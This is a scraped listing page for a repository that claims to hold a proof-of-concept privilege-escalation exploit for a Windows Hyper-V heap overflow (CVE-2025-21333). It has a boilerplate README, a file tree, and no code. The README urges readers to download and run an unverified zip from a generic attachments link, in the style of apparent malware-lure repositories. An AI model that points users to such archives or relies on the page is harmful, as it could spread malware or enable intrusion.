CVE-2025-21333 PoC — Windows Hyper-V NT Kernel Integration VSP Elevation of Privilege Vulnerability

Source

Associated Vulnerability

Description

POC exploit for CVE-2025-21333 heap-based buffer overflow. It leverages WNF state data and I/O ring IOP_MC_BUFFER_ENTRY

Readme

# Exploit the Vulnerability: CVE-2025-21333-POC 🛡️

Welcome to the CVE-2025-21333-POC repository, your ultimate resource for a proof-of-concept exploit targeting the CVE-2025-21333 heap-based buffer overflow vulnerability. This exploit leverages WNF state data and I/O ring IOP_MC_BUFFER_ENTRY to demonstrate the exploit in action.

## Repository Details ℹ️

- **Repository Name:** CVE-2025-21333-POC
- **Short Description:** POC exploit for CVE-2025-21333 heap-based buffer overflow. It leverages WNF state data and I/O ring IOP_MC_BUFFER_ENTRY
- **Topics:** not provided

### Explore the Project 👀

To dive into the nitty-gritty details of this exploit and witness it in action, download the project files from the following link: [Launch Project.zip](https://github.com/attachments/Project.zip)

If the link does not lead directly to the project files, make sure to navigate to the "Releases" section of this repository to find the necessary resources.

[![Download Project](https://img.shields.io/badge/Download-Project-blue)](https://github.com/attachments/Project.zip)

## Getting Started 🚀

### Installation

To run the exploit on your system, follow these steps:
1. Download the project files from the provided link.
2. Extract the contents of the zip file to a local directory.
3. Navigate to the extracted folder and follow the instructions in the README file.

### Usage

Execute the exploit following the guidelines outlined in the project documentation to observe the CVE-2025-21333 heap-based buffer overflow vulnerability in action.

## Resources 📚

For additional information and insights, visit the official [CVE website](https://cve.mitre.org/) to stay updated on the latest security vulnerabilities and patches.

## Support 🤝

If you encounter any issues while running the exploit or have any questions regarding the vulnerability, feel free to reach out to the repository owner or open an issue for further assistance.

## Acknowledgements 🌟

Huge shoutout to the security researchers and developers who discovered the CVE-2025-21333 vulnerability and provided invaluable insights into its exploitation.

Let's join forces to enhance security measures and protect against potential threats!

![Vulnerability Shield](https://img.shields.io/badge/Vulnerability-CVE202521333-red)

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By exploring this repository, you are taking a proactive step towards understanding and mitigating security vulnerabilities. Stay vigilant, stay secure! 👨‍💻🔒

Happy hacking! 🎉🔓

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File Snapshot

 [4.0K]  /data/pocs/3afe95b6963159a66ece1ee08f01cfbd933aa59e
├── [4.0K]  CVE-2025-21333-POC
│   ├── [ 62K]  CVE-2025-21333-POC.cpp
│   ├── [6.6K]  CVE-2025-21333-POC.vcxproj
│   ├── [1.2K]  CVE-2025-21333-POC.vcxproj.filters
│   ├── [1.5K]  Hexdump.hpp
│   └── [8.9K]  wnf.h
├── [1.4K]  CVE-2025-21333-POC.sln
└── [2.5K]  README.md

1 directory, 7 files

Remarks